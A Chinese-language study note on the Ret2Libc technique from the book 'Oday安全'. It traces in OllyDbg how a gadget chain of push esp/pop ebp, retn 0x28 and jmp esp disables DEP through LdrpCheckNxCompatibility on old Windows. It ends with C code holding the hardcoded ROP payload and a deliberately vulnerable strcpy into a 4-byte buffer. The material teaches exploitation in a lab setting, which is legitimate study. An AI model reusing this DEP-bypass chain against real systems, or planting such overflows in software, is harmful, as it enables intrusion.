天天看點

<Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess>一節注記(下)

    在前一篇​​<Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess>一節注記(上)​​ 的末尾部分,我們遇到通路無效記憶體的異常,本篇将讨論如何解決這個異常并關閉DEP保護。我們已經知道引起異常的原因是向無效位址[ebp-4](0x9090908C)寫入資料。要解決這個異常可能有2種思路:1.讓[ebp-4]指向可讀寫的位址;2.修改函數LdrpCheckNxCompatibility的實作,當然,這種方法不是本篇讨論的内容,是否具有可行性也沒有驗證過,是以,還是來讨論方式1。

    出錯時,ebp指向0x90909090,esp指向0x12ff80,當然esp指向的記憶體位址是可讀寫的,如果将esp的值賦給ebp,然後再執行mov ss:[ebp-4],esi就不會出錯了。這樣修改ebp最直白的方式應該是mov ebp,esp;ret;不知道是程序空間裡搜不到這樣的指令流還是别的原因,(想想也是mov ebp,esp一般都出現在函數入口出用于形成棧幀,才形成棧幀就執行retn感覺在浪費時間...)作者用的是一種替代方法:

push esp
pop ebp
retn      

這個是個很神奇的指令序列:

1.經過push esp;pop ebp的确達到了修改ebp寄存器的目的;2在關閉DEP保護函數 LdrpCheckNxCompatibility的傳回部分有這麼一段指令流:

ntdll!LdrpCheckNXCompatibility+0x5c:  
7c93cd6d 5e              pop     esi  
7c93cd6e c9              leave     ;leave指令等效于mov esp,ebp pop ebp          
7c93cd6f c20400          ret     4 ;      

一般在函數的入口處會有一個Entry指令用于建立函數的棧幀,并在退出函數時調用leave恢複函數調用前的棧。由于,我們是以不正常的方式跳過Entry指令并進入LdrpCheckNxCompatibility函數,當離開LdrpCheckNxCompatibility前,執行leave指令可能會導緻用錯誤的ebp寄存器的值恢複esp,最終影響整個溢出過程中的堆棧布局。為了消除leave指令帶來的影響,我們需要手工建立棧幀。這就有了上面的指令流----在進入LdrpCheckNxCompatibility函數之前執行push esp;pop ebp序列,相當于執行了一次Entry指令,這樣關閉DEP後esp能保持進入前的原樣,就不會破壞堆棧布局;3.在2的基礎上,由于esp寄存器的值具有進出函數前後的一緻性,是以不管在LdrpCheckNxCompatibility函數怎麼操作堆棧,最終退出該函數時,esp還指向shellcode,這樣的好處是便于定位(雖然shellcode的内容可能在關閉DEP的過程中被頻繁的出入棧操作沖刷掉了)。我猜想作者是鑒于這樣思路,是以選擇使用這段指令流。

    現在要做的就是尋找這樣的指令流,這簡單,使用OD的OllyFindAddr插件就能實作這個功能:我挑選0x77ecdc68處的指令流。

&lt;Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess&gt;一節注記(下)

    編譯後再次加載調試,可以看到ebp和esp的值一緻,當執行完ret指令進入關閉DEP保護的流程時esp==0x12FF88:

下圖為調整ebp準備進入LdrpCheckNxCompatibility函數:

&lt;Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess&gt;一節注記(下)

下圖為進入LdrpCheckNxCompatibility函數:

&lt;Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess&gt;一節注記(下)

再來驗證一下執行mov [ebp-4],esi指令時是否會引發異常,嗯,謝天謝地,終于讓我饒過了這個是非之地:

&lt;Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess&gt;一節注記(下)

    大家還記得前一篇我整理的關閉DEP保護的代碼流嗎?最重要的是要饒過代碼流中辨別3.處。當執行完上面mov ss:[ebp-4],esi指令不就後,就會執行到辨別3處:

3.  
7c93cd2f 837dfc00        cmp     dword ptr [ebp-4],0                ;[ebp-4]中的值來源于1.中位址0x7c93cd26和0x7c93cd28的push/pop語句                
7c93cd33 0f85f89a0100    jne     ntdll!LdrpCheckNXCompatibility+0x4d (7c956831) ;跳到4處執行      

由于此時[ebp-4]的值為2,是以将跳轉到LdrpCheckNxCompatibility函數關閉DEP保護的代碼流辨別4處執行:

圖為執行cmp ss:[ebp-4],00指令時寄存器和記憶體值,此時[ebp-4]==0x02,并将跳轉到0x7c956831處運作:

&lt;Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess&gt;一節注記(下)

0x7c956831處的幾條指令翻譯成c語言其實就是ZwSetInformationProcess(-1,0x22,&[ebp-4],04);這條語句看似風平浪靜,其實暗流湧動,請大家注意執行call ZwSetInformationProcess前後堆棧的變化:

call之前的截圖:

call之後的截圖:

&lt;Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess&gt;一節注記(下)

大家仔細觀察從0x12FF78-0x12FF88這片棧記憶體值的變化。原本這片記憶體中存放的是精心構造的shellcode,很不幸,由于調用ZwSetInformationProcess函數shellcode的内容被覆寫的面目全非。這影響不大,最多shellcode執行不了了,但是當LdrpCheckNxCompatibility函數即将結束,執行leave;ret時,程式将傳回到一個不可控的位址。讓我們來手動模拟一下這個過程:

首先是執行leave指令,等效于mov esp,ebp;pop ebp;執行過後esp=0x12FF84,ebp=0x12FF7c;

緊接着準備執行retn指令,eip去[esp]中取傳回位址,看看[esp]中存放了什麼:[esp]=[0x12ff84]=0x04,shit,eip将傳回到0x04去執行,想想都害怕。

下圖為執行leave指令後寄存器/堆棧的狀态:

&lt;Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess&gt;一節注記(下)

下圖為執行retn後Od的狀态,指令視窗都黑線了,eip指向0x04,遇到這樣的結果真倒黴:

&lt;Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess&gt;一節注記(下)

    前面已經說過直接導緻這個結果的原因是堆棧中的shellcode被覆寫,再深層次的挖掘一下,是因為棧頂esp的值離這關鍵部分的shellcode(關閉DEP保護的shellcode)太近。解決方法是在進入LdrpCheckNxCompatibility函數前先擡高esp的值,讓它離這部分的shellcode遠一點。書中提到的方法是在程序空間中尋找retN(N==0x28)指令。但是,od的OllyFindAddr插件沒有直接提供這樣的功能,它隻能尋找pop+retN這類指令。作者建議是Number of pop對話框中填0,Number of ret 填0x28,這麼建議是有講究的:

1.以Number of pop=1;Number of retN=0x28為例,ollyFindAddr找到的調整esp的指令流多數長這樣:

&lt;Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess&gt;一節注記(下)

如果選取pop ebp+retn 28指令流會引起新的bug----調用ZwSetInformationProcess時傳入的第三個參數是[ebp-4]的位址:

ntdll!LdrpCheckNXCompatibility+0x4d:  
7c956831 6a04            push    4  
7c956833 8d45fc          lea     eax,[ebp-4]  <---取[ebp-4]的位址
7c956836 50              push    eax          <---位址入棧
7c956837 6a22            push    22h  
7c956839 6aff            push    0FFFFFFFFh  
7c95683b e84074fdff      call    ntdll!ZwSetInformationProcess (7c92dc80)  
7c956840 e92865feff      jmp     ntdll!LdrpCheckNXCompatibility+0x5c (7c93cd6d)      

一旦執行了pop ebp,勢必影響lea eax, [ebp-4]得結果,是以作者提到擡高esp的過程中不能修改ebp;

2.既然不能修改ebp的位址,即不能執行pop ebp這樣的指令,那我選擇pop eax;retN這類指令流總可以吧。的确是可以,不過pop eax會影響esp的值,不友善計算shellcode的布局。鑒于上述兩點原因,作者在對話框中填入了Number of pop=0;Number of RetN=28。

将找到用于調整esp指針的retN位址插入到push esp;pop ebp;retn 0x4的位址之後,兩者之間必選相隔4B而不是緊挨着,這是為什麼?大家來看一下此時堆棧分布情況:esp指向0x12FF80,執行完retn 0x4之後,除了ret本身會讓esp=esp+4 後面的 0x04又會讓esp=esp+4.最終的效果就是修改esp為0x12FF88。CPU執行完retn 0x04之後,将執行retn 0x28,傳回位址從棧頂esp寄存器中取出,原本我們指望esp取出的傳回位址是0x7c974a19(就是進入關閉DEP保護的流程)。事與願違的事發生了,esp将從棧頂取出的值為0x90909090,CPU傳回到這個位址執行又會異常。是以我們先要在位址0x12FF84處預留4B的空檔,然後在堆棧0x12FF88處存放值0x7C93CD24,好在執行retn 0x28時傳回到LdrpCheckNxCompatibility函數中

    編譯od加載,讓我們把程式停在執行retn 28之前,看下此時堆棧的分布:

&lt;Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess&gt;一節注記(下)

此時esp寄存器值為0x12FF80,執行retn 04後eip将指向0x7c974a19(存放指令retn 0x28----用于擡高esp的值),同時esp被修改為0x12FF88:

&lt;Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess&gt;一節注記(下)

再次執行retn 0x28指令,esp将被修改為0x12FF88+0x04+0x28=0x12FFb4;eip進入LdrpCheckNxCompatibility函數,進行關閉DEP的流程:

&lt;Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess&gt;一節注記(下)

    等到關閉DEP流程結束執行leave指令時,esp寄存器會恢複到之前修改EBP寄存器的值時的狀态。下一次執行retn 4時Eip會從棧頂0x12FF84取傳回位址,還記得這指向前面修改ebp值和擡高esp值時留下的空檔?忘了可以回過去看看前面的段落。

&lt;Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess&gt;一節注記(下)

    一般而言,這個空檔會用程序空間中jmp esp指令的位址填補,使得關閉DEP後,shellcode進入堆棧繼續執行。注意LdrpCheckNxCompatibility函數末尾的retn 4指令使得esp指向0x12FF8c,是以shellcode最終會從此處開始執行:

下圖是我搜尋到的jmp esp的位址,将這個位址填補前面提到的空檔。

&lt;Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess&gt;一節注記(下)

當jmp esp執行後,eip從堆棧中取指令運作,Ret2LibC成功。

&lt;Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess&gt;一節注記(下)

最後貼上我的代碼:

#include <windows.h>

/* shellcode内容注釋
\x52\xe2\x92\x7c->mov al,0x01;ret;
\x85\x8b\x1d\x5d->push esp;pop ebp;retn 04;
\x19\x4a\x97\x7c->retn 0x28
\x13\x98\xd1\x7d->jmp esp
\x24\xcd\x93\x7c->關閉DEP
*/

char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"\
          "\x52\xe2\x92\x7c"\
          "\x85\x8b\x1d\x5d"\
          "\x19\x4a\x97\x7c"\
          "\x13\x98\xd1\x7d"\
          "\x24\xcd\x93\x7c"\
          "\x90\x90\x90\x90"};

int test()
{
  char arry[4] = {0};
  strcpy(arry,shellcode);
  return 0;
}

int main()
{
  HMODULE hMod = LoadLibrary("shell32.dll");
  test();
}      

繼續閱讀